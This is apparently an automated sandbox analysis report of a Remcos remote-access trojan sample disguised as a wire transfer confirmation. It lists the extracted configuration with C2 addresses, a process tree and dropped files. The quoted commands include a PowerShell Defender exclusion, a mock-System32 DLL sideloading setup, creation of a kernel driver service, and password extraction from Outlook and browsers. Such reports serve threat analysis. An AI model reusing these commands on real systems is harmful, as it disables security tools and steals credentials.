Analysis

  • max time kernel
    145s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/01/2024, 11:11

General

  • Target
    Wire_Transfer_Confirmation_P729200FBQ12.exe
  • Size 2.0MB
  • Sample240130-m99weagaap
  • SHA256 cfbdc6c5bc677174b16caca90e7b37d2d6c11096c4e26173d7c28df25886aa64
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • 127.0.0.1:45671

  • 127.0.0.1:55677

  • 192.3.101.8:55677

  • 192.3.101.8:45671

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-2P1XPK

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • ModiLoader Second Stage 1 IoCs
  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 6 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 1 IoCs
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 63 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Wire_Transfer_Confirmation_P729200FBQ12.exe
    "C:\Users\Admin\AppData\Local\Temp\Wire_Transfer_Confirmation_P729200FBQ12.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4988
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\BkmybsbqO.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1056
      • C:\Windows\SysWOW64\xcopy.exe
        xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y
        3⤵
        • Enumerates system info in registry
        PID:3196
      • C:\Windows\SysWOW64\xcopy.exe
        xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y
        3⤵
        • Enumerates system info in registry
        PID:4960
      • C:\Windows \System32\easinvoker.exe
        "C:\\Windows \\System32\\easinvoker.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1188
      • C:\Windows\SysWOW64\xcopy.exe
        xcopy "x.bat" "C:\Windows \System32\" /K /D /H /Y
        3⤵
        • Enumerates system info in registry
        PID:4896
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
        3⤵
          PID:224
        • C:\Windows\SysWOW64\xcopy.exe
          xcopy "KDECO.bat" "C:\Windows \System32\" /K /D /H /Y
          3⤵
          • Enumerates system info in registry
          PID:4736
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
          3⤵
            PID:3488
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
            3⤵
              PID:4396
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
              3⤵
                PID:4392
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c mkdir "\\?\C:\Windows "
                3⤵
                  PID:628
              • C:\Windows\SysWOW64\colorcpl.exe
                C:\Windows\System32\colorcpl.exe
                2⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of WriteProcessMemory
                PID:2996
                • C:\Windows\SysWOW64\colorcpl.exe
                  C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\beidwkhpdpnuvxxrfkzlnkuxnlyzagwnvs"
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1380
                • C:\Windows\SysWOW64\colorcpl.exe
                  C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\rjcsvswnphvptrjnoznrkxzoefhqhvg"
                  3⤵
                  • Accesses Microsoft Outlook accounts
                  PID:5040
                • C:\Windows\SysWOW64\colorcpl.exe
                  C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\ohxauhlutzddjlnbepaqztfxdqxh"
                  3⤵
                    PID:4764
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 2996 -s 1868
                    3⤵
                    • Program crash
                    PID:4028
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c "C:\\Windows \\System32\\easinvoker.exe"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:844
                  • C:\Windows \System32\easinvoker.exe
                    "C:\\Windows \\System32\\easinvoker.exe"
                    3⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:4796
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4216
              • C:\Windows\system32\sc.exe
                sc.exe start truesight
                1⤵
                • Launches sc.exe
                PID:4060
              • C:\Windows\system32\sc.exe
                sc.exe create truesight binPath="C:\Users\Public\Libraries\truesight.sys" type=kernel
                1⤵
                • Launches sc.exe
                PID:3884
              • C:\Windows\system32\cmd.exe
                cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                1⤵
                • Suspicious use of WriteProcessMemory
                PID:436
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
                1⤵
                • Suspicious use of WriteProcessMemory
                PID:3704
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2996 -ip 2996
                1⤵
                  PID:3344

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      __PSScriptPolicyTest_1o4bkaaa.gwv.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1o4bkaaa.gwv.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      ohxauhlutzddjlnbepaqztfxdqxh

                      • Path C:\Users\Admin\AppData\Local\Temp\ohxauhlutzddjlnbepaqztfxdqxh
                      • Size 4KB
                      • SHA256 b92f48c215f2d309a748e67787283bb2c61bbce1faf7dcb3b917f57be92b28e2
                      • MD5 SHA1 SHA512 SSDEEP

                      BkmybsbqO.bat

                      • Path C:\Users\Public\Libraries\BkmybsbqO.bat
                      • Size 7KB
                      • SHA256 f46e0cc2c119a32dd87edf97bfc73d985ee97d2c9dc00274b6b20d641e29deea
                      • MD5 SHA1 SHA512 SSDEEP

                      easinvoker.exe

                      • Path C:\Users\Public\Libraries\easinvoker.exe
                      • Size 128KB
                      • SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
                      • MD5 SHA1 SHA512 SSDEEP

                      easinvoker.exe

                      • Path C:\Windows \System32\easinvoker.exe
                      • Size 27KB
                      • SHA256 2e62a422b3af02a6420a741baf64eb0ad6d79a14776de85d9244ca3254f5ca57
                      • MD5 SHA1 SHA512 SSDEEP

                      easinvoker.exe

                      • Path C:\Windows \System32\easinvoker.exe
                      • Size 11KB
                      • SHA256 993eee2498a778b3bc0ad4da95a1fe32d03b1a859b649365c04142656dff7bc1
                      • MD5 SHA1 SHA512 SSDEEP

                      netutils.dll

                      • Path C:\Windows \System32\netutils.dll
                      • Size 116KB
                      • SHA256 e443c8e9201f17ef4180d97a8505c24b4645e3ab25eacdeb8807d036229e2c1a
                      • MD5 SHA1 SHA512 SSDEEP

                      KDECO.bat

                      • Path C:\windows \system32\KDECO.bat
                      • Size 4KB
                      • SHA256 c8e1912a3328802e98563e32eb053ae3e28249b701054af227e9f1ba6bfe24d9
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/1188-28-0x00000000613C0000-0x00000000613E3000-memory.dmp

                      memory/1380-82-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/1380-86-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/1380-73-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/1380-84-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/2996-54-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/2996-62-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/2996-93-0x0000000017760000-0x0000000017779000-memory.dmp

                      memory/2996-90-0x0000000017760000-0x0000000017779000-memory.dmp

                      memory/2996-95-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/2996-48-0x0000000004DD0000-0x0000000005DD0000-memory.dmp

                      memory/2996-49-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/2996-51-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/2996-56-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/2996-99-0x0000000004DD0000-0x0000000005DD0000-memory.dmp

                      memory/2996-57-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/2996-59-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/2996-63-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/2996-67-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/2996-65-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/2996-64-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4216-41-0x000001C409AC0000-0x000001C409AD0000-memory.dmp

                      memory/4216-34-0x000001C423C60000-0x000001C423C82000-memory.dmp

                      memory/4216-40-0x000001C409AC0000-0x000001C409AD0000-memory.dmp

                      memory/4216-39-0x00007FFE4A970000-0x00007FFE4B431000-memory.dmp

                      memory/4216-44-0x00007FFE4A970000-0x00007FFE4B431000-memory.dmp

                      memory/4764-68-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/4764-72-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/4764-77-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/4764-88-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/4796-47-0x00000000613C0000-0x00000000613E3000-memory.dmp

                      memory/4988-2-0x0000000004020000-0x0000000005020000-memory.dmp

                      memory/4988-4-0x0000000000400000-0x0000000000608000-memory.dmp

                      memory/4988-1-0x0000000004020000-0x0000000005020000-memory.dmp

                      memory/4988-0-0x0000000002990000-0x0000000002991000-memory.dmp

                      memory/5040-76-0x0000000000400000-0x0000000000457000-memory.dmp

                      memory/5040-85-0x0000000000400000-0x0000000000457000-memory.dmp

                      memory/5040-83-0x0000000000400000-0x0000000000457000-memory.dmp

                      memory/5040-69-0x0000000000400000-0x0000000000457000-memory.dmp